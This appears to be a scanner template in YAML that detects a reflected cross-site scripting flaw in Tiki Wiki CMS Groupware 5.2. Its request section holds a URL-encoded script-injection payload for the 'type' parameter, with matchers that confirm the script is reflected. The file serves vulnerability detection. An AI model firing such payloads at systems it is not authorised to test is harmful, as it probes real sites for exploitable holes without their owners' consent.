id: tikiwiki-reflected-xss

info:
  name: Tiki Wiki CMS Groupware 5.2 - Cross-Site Scripting
  author: madrobot
  severity: high
  description: Tiki Wiki CMS Groupware 5.2 contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://packetstormsecurity.com/files/94255/Tiki-Wiki-CMS-Groupware-5.2-Cross-Site-Scripting.html
    - https://www.exploit-db.com/exploits/15174
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    max-request: 2
  tags: packetstorm,edb,xss,tikiwiki

http:
  - method: GET
    path:
      - "{{BaseURL}}/tiki-5.2/tiki-edit_wiki_section.php?type=%22%3E%3Cscript%3Ealert(31337)%3C/script%3E"
      - "{{BaseURL}}/tiki-edit_wiki_section.php?type=%22%3E%3Cscript%3Ealert(31337)%3C/script%3E"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "<script>alert(31337)</script>"
        part: body

      - type: word
        words:
          - "text/html"
        part: header
# digest: 4a0a00473045022100e29fb1cde4c8995ecb36d6ae5ea0129d05d7a48a2088ed30b8258f3a10fee95e022018b9f16ba2a46d6842cacf3aa66cec954f97ec8a4cf25add06579051777ab02f:922c64590222798bb761d5b6d8e72950